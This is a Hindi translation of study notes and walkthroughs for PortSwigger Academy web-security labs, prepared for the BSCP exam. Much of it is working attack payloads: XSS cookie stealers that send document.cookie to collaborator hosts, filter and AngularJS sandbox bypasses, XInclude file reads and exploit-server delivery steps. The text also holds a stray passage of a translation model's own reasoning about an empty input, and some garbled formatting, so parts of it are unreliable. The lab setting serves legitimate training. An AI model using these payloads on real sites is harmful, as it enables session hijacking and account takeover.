
PortSwigger Academy लैब्स के लिए व्यावहारिक अध्ययन नोट्स और वॉकथ्रू, जिनमें वेब भेद्यताएँ, पेलोड, एन्यूमरेशन और BSCP परीक्षा रणनीतियाँ शामिल हैं।
यह मेरे अध्ययन नोट्स हैं जिनमें 110 से अधिक PortSwigger Academy Labs शामिल हैं। मैंने इन लैब्स का उपयोग Burp Suite Certified Practitioner परीक्षा 2023 पास करने के लिए किया। मेरी BSCP योग्यता।
अधिक जानकारी के लिए PortSwigger Academy पर जाएं ताकि नवीनतम शिक्षण सामग्री प्राप्त हो सके।
स्कैनिंग - एन्यूमरेशन
फोकस स्कैनिंग
गैर-मानक इकाइयों को स्कैन करें
फुटहोल्ड - चरण 1
कंटेंट डिस्कवरी
DOM-XSS
XSS क्रॉस-साइट स्क्रिप्टिंग
वेब कैश पॉइज़न
होस्ट हेडर
HTTP रिक्वेस्ट स्मगलिंग
ब्रूट फोर्स
प्रमाणीकरण
विशेषाधिकार एस्केलेशन - चरण 2
CSRF - अकाउंट टेकओवर
पासवर्ड रीसेट
SQLi - SQL इंजेक्शन
JWT - JSON वेब टोकन
प्रोटोटाइप पॉल्यूशन
API परीक्षण
एक्सेस कंट्रोल
GraphQL API एंडपॉइंट
CORS - क्रॉस-ओरिजिन रिसोर्स शेयरिंग
डेटा एक्सफिल्ट्रेशन - चरण 3
XXE - XML इकाइयाँ और इंजेक्शन
SSRF - सर्वर-साइड रिक्वेस्ट फोर्जरी
SSTI - सर्वर-साइड टेम्पलेट इंजेक्शन
SSPP - सर्वर-साइड प्रोटोटाइप पॉल्यूशन
LFI - फ़ाइल पाथ ट्रैवर्सल
फ़ाइल अपलोड
डिसीरियलाइज़ेशन
OS कमांड इंजेक्शन
अनुबंध
Python स्क्रिप्ट्स
पेलोड
वर्ड लिस्ट
फोकस टार्गेट स्कैनिंग
दृष्टिकोण
अतिरिक्त प्रशिक्षण सामग्री
मैं अनुशंसा करता हूँ कि परीक्षा से पहले अपने कौशल का परीक्षण करने और कमजोरियों की पहचान करने में लगने वाले समय को कम करने के लिए जितना संभव हो उतने Mystery lab challenge करें।
मुझे अपनी परीक्षा दोबारा देने पर PortSwigger की यह सलाह भी बहुत जानकारीपूर्ण लगी।
2024 में BSCP परीक्षा पर नया दृष्टिकोण पाने के लिए CryptoCat - Burp Suite Certified Professional (BSCP) समीक्षा + टिप्स/ट्रिक्स देखें।
समर्थित कॉफ़ी के लिए धन्यवाद,
\o/
मेरा Burp Suite Certified Practitioner प्रमाणपत्र।
वेब अनुप्रयोगों की एन्यूमरेशन समय-सीमित अभियान में प्रारंभिक और निर्देशित स्कैनिंग के साथ शुरू होती है।
फोकस स्कैनिंग
गैर-मानक इकाइयों को स्कैन करें
अभियान या परीक्षा के दौरान सख्त समय सीमा के कारण, विशिष्ट अनुरोधों के लिए परिभाषित इंसर्शन पॉइंट स्कैन करें।

स्कैनर ने storeId पैरामीटर पर XML इंजेक्शन कमजोरी का पता लगाया और इससे Carlos की गोपनीय फ़ाइल पढ़ने में मदद मिली।```xml <xi:include parse="text" href="file:///home/carlos/secret"/>
>Out of band XInclude अनुरोध, स्थानीय फ़ाइल पढ़ने के लिए होस्टेड DTD की आवश्यकता है।```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>
PortSwigger Lab: लक्षित स्कैनिंग द्वारा तेज़ी से कमजोरियों की खोज
प्रतिक्रियाओं या अनुरोधों में चयनित टेक्स्ट के लिए चयनित इंसर्शन पॉइंट को स्कैन करने वाली बर्प सुविधा का उपयोग करके गैर-मानक डेटा संरचनाओं को स्कैन करना।

बर्प स्कैनर के इश्यू परिणामों के माध्यम से कमजोरी की पहचान करें।
इस मामले में, पहचाने गए XSS का उपयोग करके, पहचाने गए इंसर्शन पॉइंट में पेलोड तैयार करके एडमिन उपयोगकर्ता के कुकीज़ चुराएँ।``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART
>मुख्य वर्णों को URL एनकोड करें।

>व्यवस्थापक पैनल तक पहुँचने के लिए व्यवस्थापक उपयोगकर्ता की कुकी को वर्तमान ब्राउज़र सत्र में बदलकर उपयोग करें।
[PortSwigger लैब: गैर-मानक डेटा संरचनाओं की स्कैनिंग](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)
-----
# फ़ुटहोल्ड
# सामग्री खोज
>लक्ष्य का सूचीकरण वेब निर्देशिकाओं और फ़ाइलों के फ़ज़िंग से शुरू होता है। छिपे हुए पथ और फ़ाइलों को खोजने के लिए या तो Burp engagement tools, content discovery विकल्प का उपयोग करें या वेब निर्देशिकाओं और फ़ाइलों को सूचीबद्ध करने के लिए `FFUF` का उपयोग करें। `robots.txt` या `sitemap.xml` को देखने से सामग्री का पता चल सकता है।```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ
Burp एंगेजमेंट टूल, मेरी संकलित शब्द सूची burp-labs-wordlist को कस्टम फ़ाइल सूची के रूप में उपयोग करके सामग्री खोज।

स्थानीय डाउनलोड की गई प्रति पर git रिपॉजिटरी की ब्रांचों की जाँच करें,
git-colaटूल का उपयोग करके। फिर अंतिम कमिट पूर्ववत करें चुनें और डिफ़ विंडो से एडमिन पासवर्ड निकालें।``` wget -r https://TARGET.web-security-academy.net/.git/
git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

[PortSwigger Lab: संस्करण नियंत्रण इतिहास में सूचना प्रकटीकरण](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
>हमेशा `source code` खोलें, ताकि कोई डेवलपर टिप्पणी मिल सके जो छिपी फ़ाइलों या पथों को प्रकट करती है। नीचे दिया गया उदाहरण [symphony token deserialization](#deserialization) की ओर ले जाता है।

-----
## DOM-Based XSS
[DOM XSS संकेतक](#identify-dom-xss)
[DOM Invader के साथ पहचाना गया DOM XSS](#dom-invader)
[DOM XSS AngularJS](#vuln-angularjs)
[select में DOM XSS document.write](#doc-write-location-search)
[DOM XSS JSON.parse वेब संदेश](#dom-xss-jsonparse-web-messages)
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)
[DOM XSS AddEventListener Ads Message](#dom-xss-addeventlistener-ads-message)
[DOM XSS Eval Reflected Cookie Stealer](#reflected-dom-xss)
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)
### Identify DOM-XSS
>DOM-आधारित XSS कमजोरियाँ तब उत्पन्न होती हैं जब JavaScript किसी हमलावर-नियंत्रणीय स्रोत, जैसे URL, से डेटा लेती है और उसे एक ऐसे sink तक पहुँचाती है जो गतिशील कोड निष्पादन का समर्थन करता है।
>नीचे दिए गए फ़ज़र स्ट्रिंग का उपयोग करके परीक्षण करें कि कौन से वर्ण `source code` इंजेक्शन बिंदु से escape करने में सक्षम बनाते हैं।```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
source codeकी समीक्षा करके उन स्रोतों, सिंक या विधियों की पहचान करें जो शोषण की ओर ले जा सकते हैं, नमूनों की सूची:
Dom Invader प्लग-इन का उपयोग करें और कैनरी को ऐसे मान पर सेट करें, जैसे
domxss, तो यह उन DOM-XSS सिंक का पता लगाएगा जिनका शोषण किया जा सकता है।

नीचे दिया गया AngularJS एक्सप्रेशन खोज फ़ंक्शन में तब इंजेक्ट किया जा सकता है जब कोण कोष्ठक और दोहरे उद्धरण HTML-एन्कोडेड हों। भेद्यता की पहचान यह देखकर होती है कि खोज स्ट्रिंग ng-app निर्देश के भीतर संलग्न है और
/js/angular 1-7-7.jsस्क्रिप्ट शामिल है। AngularJS एप्लिकेशन के रूट तत्व के रूप में संकेत देने वालेng-appनिर्देश की पहचान करने के लिए HTML कोड की समीक्षा करें।

PortSwigger लैब का पेलोड नीचे दिया गया है:```JavaScript {{$on.constructor('alert(1)')()}}
>[कुकी चुराने वाला पेलोड](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) `on.constructor` का उपयोग करता है, जिसे iframe में रखा जा सकता है, एक एक्सप्लॉइट सर्वर पर होस्ट किया जा सकता है, जिसके परिणामस्वरूप पीड़ित का सत्र कुकी Burp Collaborator को भेज दिया जाता है।
>[क्रॉस-साइट स्क्रिप्टिंग संदर्भ के लिए PortSwigger चीट शीट](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}
नोट: XSS सफल होने के लिए सत्र कुकी प्रॉपर्टी पर HttpOnly सुरक्षा फ़्लैग सेट नहीं होना चाहिए।

PortSwigger Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
z3nsh3ll इस लैब में constructor vulnerability पर अद्भुत विस्तृत समझ देते हैं - YouTube
लक्ष्य स्टॉक चेक फ़ंक्शन में DOM-XSS के प्रति संवेदनशील है।
source codeसे पता चलता है किdocument.writeसिंक है जोlocation.searchके साथ उपयोग किया जाता है, जिससे हम storeId क्वेरी पैरामीटर को JavaScript पेलोड वाले मान के साथ<select>स्टेटमेंट के अंदर जोड़ सकते हैं।

नीचे दिए गए पेलोड का उपयोग करके संशोधित GET अनुरोध में इंजेक्शन की पहचान करने के लिए परीक्षण करें,
">का उपयोग करके escape करें।```html /product?productId=1&storeId=fuzzer">fuzzer

>DOM XSS [कुकी चुराने वाला पेलोड](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) एक `document.write` सिंक में, स्रोत `location.search` का उपयोग करके, `<select>` एलिमेंट के अंदर। इसे पीड़ित को एक्सप्लॉइट सर्वर के माध्यम से `

iframe onload मानों के अंत में एक "*" है, यह इंगित करने के लिए कि लक्ष्य कोई भी है।
ब्राउज़र DEV tools कंसोल का उपयोग करके ब्राउज़र में एक असुरक्षित परीक्षण कुकी सेट करें, जिसका उपयोग POC XSS के परीक्षण के दौरान किया जा सके।
कुकी चुराने वाले पेलोड।```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

[PortSwigger Lab: वेब संदेशों और JSON.parse का उपयोग करके DOM XSS](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)
>DOM Invader का उपयोग वेब संदेशों के माध्यम से DOM XSS की पहचान और परीक्षण के लिए किया गया

>JSON डेटा को बदलने के बाद DOM Invader का उपयोग करके पोस्ट संदेश को दोबारा भेजें।```JSON
{
"type": "load-channel",
"url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

PortSwigger: PortSwigger DOM Invader का उपयोग करके DOM XSS पहचानें
पृष्ठ के
source codeकी समीक्षा करने पर, हम वेब संदेश के लिएaddeventlistenerकॉल की पहचान करते हैं, लेकिन एकifशर्त है जो जाँचती है कि स्ट्रिंग मेंhttp/sहै या नहीं।

नीचे दिया गया एक्सप्लॉइट सर्वर-होस्टेड पेलोड
httpsस्ट्रिंग शामिल करता है, औरifशर्त की जाँच को बायपास करने में सफल रहता है।```html

एक बार पीड़ित का कुकी अपडेट हो जाने पर, एक्सप्लॉइट सर्वर लॉग उनके गुप्त कुकी मान को कैप्चर कर लेता है।
>***ShehmeerAbidRajput*** की महान सहायता से, मैंने इस लैब को उनके प्रदान किए गए कुकी चुराने वाले पेलोड के साथ अपडेट किया।
[PortSwigger लैब: DOM-आधारित कुकी हेरफेर](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)
-----
## क्रॉस-साइट स्क्रिप्टिंग
[XSS संसाधन](#xss-resources)
[अनुमत टैग पहचानें](#identify-allowed-tags)
[अवरुद्ध टैग बायपास करें](#bypass-blocked-tags)
[XSS प्रोटोकॉल असाइन करें](#xss-assign-protocol)
[कस्टम टैग अवरुद्ध नहीं हैं](#custom-tags-not-blocked)
[OnHashChange](#onhashchange)
[रिफ्लेक्टेड स्ट्रिंग XSS](#reflected-string-xss)
[रिफ्लेक्टेड स्ट्रिंग अतिरिक्त एस्केप](#reflected-string-extra-escape)
[AngularJS सैंडबॉक्स एस्केप](#angularjs-sandbox-escape)
[XSS टेम्पलेट लिटरल](#xss-template-literal)
[JSON के माध्यम से EVAL में XSS](#xss-via-json-into-eval)
[संग्रहीत XSS](#stored-xss)
[संग्रहीत DOM XSS](#stored-dom-xss)
[SVG अपलोड में XSS](#xss-svg-upload)
### XSS संसाधन
>XSS संसाधन पृष्ठ **टैग** और **इवेंट** के लिए पेलोड देखने हेतु हैं।
+ [क्रॉस-साइट स्क्रिप्टिंग (XSS) चीट शीट](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [HackTheBox CPTS अध्ययन नोट्स XSS पर](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)
>CSP Evaluator उपकरण यह जाँचने के लिए है कि क्या XSS हमलों को कम करने के लिए सामग्री सुरक्षा नीति मौजूद है। उदाहरण के लिए यदि `base-uri` अनुपस्थित है, तो यह भेद्यता हमलावर को [संग्रहीत self-XSS को अपग्रेड करें](#upgrade-stored-self-xss) पर वर्णित वैकल्पिक शोषण विधि का उपयोग करने की अनुमति देगा।
+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)
>जब इनपुट फ़ील्ड की अधिकतम लंबाई केवल 23 अक्षर हो, तो **Tiny XSS Payloads** के लिए इस संसाधन का उपयोग करें।
+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)
>POC XSS के परीक्षणों में उपयोग के लिए ब्राउज़र DEV टूल्स कंसोल का उपयोग करके ब्राउज़र में एक असुरक्षित परीक्षण कुकी सेट करें [कुकी चुराने वाले पेलोड](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md)।```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";
HTTP अनुरोध में प्राप्त डेटा को संभालने के लिए एप्लिकेशन सुरक्षा फ़िल्टर नियंत्रणों की पहचान करने हेतु बुनियादी XSS Payloads।```html
Chunk empty? Need handle. Maybe no content after. We need not output anything? But developer says produce raw markdown. If no input, maybe output empty string. But be careful: The user explicitly says chunk 41 of 303 but input blank. Need maybe respond with nothing. However system says "Return ONLY translated text." If source empty, translated is empty. But maybe there is hidden missing? We need not add commentary.
Let's check user message exactly: It includes all the instructions and then ends with "INPUT:" and no actual content. Could be that due to formatting, the content might be omitted? The content field: "Translate the following Kitploit tool content... INPUT:" No content. Therefore return empty. But maybe need include newline? No.
Given constraints, output empty.```html
"><svg><animatetransform onbegin=alert(1)>
(empty response)``` <>'"
>उपरोक्त पेलोड सबमिट करने पर प्रतिक्रिया संदेश मिल सकता है, ***"टैग की अनुमति नहीं है"*** वेब एप्लिकेशन फ़ायरवॉल (WAF) द्वारा इंजेक्शन ब्लॉक करने के कारण।
>फिर [PortSwigger अकादमी कार्यप्रणाली](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked) का उपयोग करके अनुमत टैगों की ***पहचान करें***।
>URL और Base64 ऑनलाइन एन्कोडर और डिकोडर
+ [URL डिकोड और एन्कोड](https://www.urldecoder.org/)
+ [BASE64 डिकोड और एन्कोड](https://www.base64encode.org/)
>यह लैब POC XSS तैयार करने के लिए अनुमत HTML टैग और इवेंट की ***पहचान करने*** हेतु बेहतरीन **कार्यप्रणाली** प्रदान करती है।
>एक्सप्लॉइट सर्वर पर **iframe** कोड होस्ट करें और पीड़ित को एक्सप्लॉइट लिंक भेजें।```html
एप्लिकेशन नियंत्रण संदेश देते हैं, "टैग की अनुमति नहीं है" जब बुनियादी XSS पेलोड डाले जाते हैं, लेकिन ऊपर methodology का उपयोग करके SVG मार्क-अप की अनुमति पता चलती है। यह पेलोड POC के रूप में मेरा अपना सत्र कुकी चुरा लेता है।```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E
>उपरोक्त पेलोड को एक्सप्लॉइट सर्वर पर रखें और पीड़ित तक पहुंचाने से पहले सर्च वैल्यू के साथ URL को एक ```iframe``` में डालें।```html

PortSwigger लैब: कुछ SVG मार्कअप के साथ परावर्तित XSS की अनुमति है
#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=htmlसर्च फ़ंक्शन में कुछ भी एन्कोड नहीं होने के साथ HTML संदर्भ में XSS का परीक्षण करने के लिए लैब। इस लैब का उपयोग PortSwigger XSS शोध द्वारा पहचाने गए location के साथ Assignable protocol
javascriptएक्सप्लॉइट का परीक्षण करने के लिए किया जा रहा है। पेलोड में%0aASCII न्यूलाइन वर्ण का प्रतिनिधित्व करता है।```html

[PortSwigger लैब: रिफ्लेक्टेड XSS बिना किसी एन्कोडिंग के HTML कॉन्टेक्स्ट में](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)
### कस्टम टैग ब्लॉक नहीं किए जाते
>एप्लिकेशन XSS पेलोड डालने का प्रयास करने पर ***"टैग की अनुमति नहीं है"*** संदेश के साथ प्रतिक्रिया करता है, लेकिन यदि हम एक कस्टम टैग बनाते हैं तो इसे बायपास किया जाता है।```html
<xss+id=x>#x';
पहचानें कि उपरोक्त कस्टम टैग खोज फ़ंक्शन में ब्लॉक नहीं है, प्रतिक्रिया का अवलोकन करके। सत्र कुकी को आउट-ऑफ-बैंड चुराने के लिए नीचे दिया गया payload बनाएं।```
>**नोट:** ```x``` आईडी वाला कस्टम टैग, जिसमें एक **onfocus** इवेंट हैंडलर है जो ```document.location``` फ़ंक्शन को ट्रिगर करता है। URL के अंत में **हैश** `#` वर्ण पृष्ठ लोड होते ही इस तत्व पर फोकस करता है, जिससे पेलोड कॉल हो जाता है। पेलोड स्क्रिप्ट को एक्सप्लॉइट सर्वर पर ```script``` टैग में होस्ट करें, और पीड़ित को भेजें। नीचे वही पेलोड है, लेकिन **URL-एन्कोडेड** प्रारूप में।```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

PortSwigger लैब: कस्टम टैग्स को छोड़कर सभी टैग्स ब्लॉक होने पर HTML कॉन्टेक्स्ट में रिफ्लेक्टेड XSS
z3nsh3ll - XSS हमलों के लिए कस्टम टैग्स समझाते हुए
नीचे दिया गया iframe URL के अंत में HASH
#वर्ण का उपयोग करके OnHashChange XSS कुकी स्टीलर को ट्रिगर करता है।```JavaScript
>ध्यान दें यदि कुकी पर **HttpOnly** फ्लैग सक्षम है, तो कुकी को XSS का उपयोग करके चुराया नहीं जा सकता।
>PortSwigger Lab पेलोड प्रिंट करने के लिए।```JavaScript
नोट:
source codeमें शामिल कमजोर jquery 1.8.2 संस्करण की पहचानें, hashchange पर CSS सेलेक्टर क्रिया के साथ।

PortSwigger प्रयोगशाला: hashchange इवेंट का उपयोग करके jQuery सेलेक्टर सिंक में DOM XSS
Crypto-Cat: hashchange इवेंट का उपयोग करके jQuery सेलेक्टर सिंक में DOM XSS
खोज स्ट्रिंग सबमिट करने और खोज परिणाम पृष्ठ के
source codeकी समीक्षा करने पर, JavaScript स्ट्रिंग चर कोsearchTermsनामक चर के साथsource codeमें खोज स्ट्रिंगtracker.gifको प्रतिबिंबित करने के रूप में पहचाना जाता है।```html
एक पेलोड
test'payloadका उपयोग करके देखें कि एक single quote बैकस्लैश-escaped हो जाता है, जिससे string से बाहर निकलने से रोका जा सके।```JavaScript
>पेलोड को एक कुकी चुराने वाले में बदलना जो सत्र टोकन को Burp Collaborator तक पहुँचाता है।```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

जब इस पेलोड को
iframeमें रखा जाता है, तो लक्ष्य एप्लिकेशन इसे एम्बेड होने की अनुमति नहीं देता और संदेश देता है:refused to connect.
BSCP परीक्षा में, नीचे दिए गए पेलोड को एक्सप्लॉइट सर्वर पर
<script>टैग के अंदर होस्ट करें, और इससे पहले नीचे की खोज क्वेरी URL एन्कोडेड होती है।```
>Exploit Server search term में reflected भेद्यता होस्ट कर रहा है, जिसे पीड़ित को उनका session cookie प्राप्त करने के लिए भेजा जाता है।```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>
एप्लिकेशन ने
Tag is not allowedत्रुटि संदेश दिया, और इसे</ScRiPt >का उपयोग करके बायपास किया जाता है।
source codeमेंsearchTermsनामक वेरिएबल देखें, औरfuzzer'payloadपेलोड सबमिट करते समय, देखें कि सिंगल कोट बैकस्लैश से एस्केप हो गया है, और फिर एकfuzzer\payloadपेलोड भेजें और पहचानें कि बैकस्लैश एस्केप नहीं हुआ है।``` '-alert(1)//
fuzzer';console.log(12345);//
fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//
>एक **बैकस्लैश**, एकल उद्धरण और **सेमीकोलन** का उपयोग करके हम JavaScript स्ट्रिंग वेरिएबल से बाहर निकलते हैं, फिर बैक टिक्स का उपयोग करके ```document.location``` पथ को संलग्न करते हैं, जिससे कुकी स्टीलर एप्लिकेशन सुरक्षा को बायपास कर सके।```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//
ट्रेवर की मदद से मैंने इसे बैकटिक्स का उपयोग करके कुकी स्टीलर पेलोड में बदल दिया। धन्यवाद ट्रेवर, यह रहा उनका यूट्यूब वॉकथ्रू XSS JavaScript String Angle Brackets Double Quotes Encoded Single

विशेषज्ञ PortSwigger लैब अभ्यास जो AngularJS 1.4.4 का उपयोग करता है और 1.x संस्करण अपने जीवन-काल के अंत तक पहुँच चुके हैं तथा अब इनका रखरखाव नहीं किया जाता।
यह लैब AngularJS का उपयोग असामान्य तरीके से करता है जहाँ$evalफ़ंक्शन उपलब्ध नहीं है और आप AngularJS में किसी भी स्ट्रिंग का उपयोग नहीं कर पाएँगे।
उद्देश्य: एक क्रॉस-साइट स्क्रिप्टिंग हमला करना जो सैंडबॉक्स से बाहर निकलकर$evalफ़ंक्शन का उपयोग किए बिना पेलोड को निष्पादित करता है।
पहचानें JavaScript सोर्स कोड में
angular.moduleको:

keyवेरिएबल का मानsearchगतिशील रूप से बनाए गए JavaScript में इंजेक्ट किया जाता है।
यहाँ कोई स्पष्ट सुरक्षा समस्या मौजूद नहीं है। हालाँकि, इस कोड की सुरक्षा इस बात पर निर्भर करती है कि इस कंट्रोलर और निकाले गए मानों का उपयोग बैक-एंड में कैसे किया जाता है।
$parseविधि AngularJS एक्सप्रेशन$scope.queryका मूल्यांकन करती है।
उत्पन्न गतिशील कोड पेलोड का परीक्षण करने के लिए दूसरी key value pair जोड़ने हेतु
&का उपयोग करना।

मूल्यांकन होता है या नहीं यह निर्धारित करने के लिए दूसरे जोड़े गए key value name को एक्सप्रेशन में बदलना,
/?search=key1value&7*7=payloadऔर गणितीय परिणाम 49 है।

जब
alert()को दूसरे key name के रूप में उपयोग किया जाता है तो पेलोड का निर्माण विफल हो जाता है, क्योंकि angularJS पार्सर के माध्यम से कोड को संकलित करता है।
AngulaJS सैंडबॉक्स - PortSwigger क्लाइंट-साइड टेम्पलेट इंजेक्शन दस्तावेज़ देखें
PortSwigger चीटशीट संदर्भ सैंडबॉक्स 1.4.4 एस्केप``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
>Collaborator पेलोड ***कुकी चुराने वाला***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)
उपरोक्त पेलोड स्ट्रिंग में प्रत्येक वर्ण के लिए ASCII दशमलव मान, अल्पविराम से अलग किए गए। प्रत्येक संख्या पेलोड स्ट्रिंग में संबंधित वर्ण के ASCII दशमलव मान को दर्शाती है।``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41
>किसी भी पेलोड को ASCIII दशमलव मानों में बदलने के लिए Python स्क्रिप्ट:```python
import sys
print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
print("Usage: Python ascii_converter.py 'Payload_String'")
sys.exit(1)
input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]
output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

कुकी स्टीलर पेलोड, ASCII दशमलव मान में AngularJS एक्सप्रेशन के रूप में सैंडबॉक्स के माध्यम से चलाया गया, PortSwigger समाधान चरणों से:
toString() का उपयोग करके बिना कोट्स के एक स्ट्रिंग बनाता है।charAt फ़ंक्शन को ओवरराइट करता है।orderBy फ़िल्टर पर पारित एक ऐरे की अनुमति देता है।toString() का उपयोग करके एक स्ट्रिंग और String कंस्ट्रक्टर प्रॉपर्टी बनाएं।fromCharCode मेथड का उपयोग करके अपने पेलोड को जनरेट करें, कैरेक्टर कोड को पेलोड उदाहरण x=alert(1) में परिवर्तित करके।charAt फ़ंक्शन को ओवरराइट कर दिया गया है, AngularJS इस कोड को सैंडबॉक्स से बचने की अनुमति देगा।
PortSwigger विशेषज्ञ लैब: स्ट्रिंग्स के बिना AngularJS सैंडबॉक्स एस्केप के साथ रिफ्लेक्टेड XSS
JavaScript टेम्पलेट लिटरल, स्ट्रिंग को समाहित करने के लिए उपयोग किए जाने वाले बैक टिक ` द्वारा पहचाना जाता है। लक्ष्य कोड पर हम पहचानते हैं कि खोज स्ट्रिंग एक टेम्पलेट लिटरल स्ट्रिंग के अंदर प्रतिबिंबित होती है।``` ${alert(document.cookie)}

>***Adrián Gyurácz*** को धन्यवाद, जिन्होंने एक शानदार बाईपास प्रदान किया, जब मैं इस लैब के सभी फ़िल्टरों को बाईपास करने वाला एक कार्यशील कुकी स्टीलर पाने में विफल रहा।
>***Adrián Gyurácz*** ने पोर्टस्विगर का निम्नलिखित शोध लेख खोजा, जो समाधान तक ले गया:
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
#### उपरोक्त से आगे बढ़ते हुए, उसका पेलोड:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}
चूंकि मूल लैब सत्र कुकी में सुरक्षा फ्लैग थे, उसने प्रमाण के लिए एक टेस्ट डमी कुकी बनाई:

सर्च फंक्शन में पेलोड भेजने के बाद, मुझे एक कुकी स्टीलर हिट मिला:

मुझे उम्मीद है कि दूसरों को उसका शोध उपयोगी लगेगा, और इसे अपनी गाइड में शामिल कर रहा हूँ। Tx.
यह PortSwigger Practice Exam APP सर्च फंक्शन कर रहा है और DOM Invader एक
eval()फंक्शन में सिंक की पहचान करता है। सर्च परिणाम JSON सामग्री प्रकार में रखे जाते हैं।

JSONडेटा से बाहर निकलने का परीक्षण करें और JSON सामग्री में टेस्ट पेलोड"-prompt(321)-"इंजेक्ट करें।

"-alert(document.cookie)-"पेलोड के साथ हमारे अपने सत्र कुकी मान को प्राप्त करने का प्रयास करने पर, फ़िल्टर संदेश लौटाया जाता है जो कहता है"Potentially dangerous search term"।
WAF खतरनाक सर्च फिल्टर और टैग को रोक रहा है, फिर हम JavaScript ग्लोबल वेरिएबल्स का उपयोग करके WAF फिल्टर को बायपास करते हैं।```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"
[secjuice: जावास्क्रिप्ट ग्लोबल वेरिएबल्स का उपयोग करके XSS फ़िल्टर बायपास करें](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)
>नीचे BASE 64 एन्कोडिंग से पहले मुख्य [कुकी स्टीलर पेलोड](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) दिया गया है।```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])
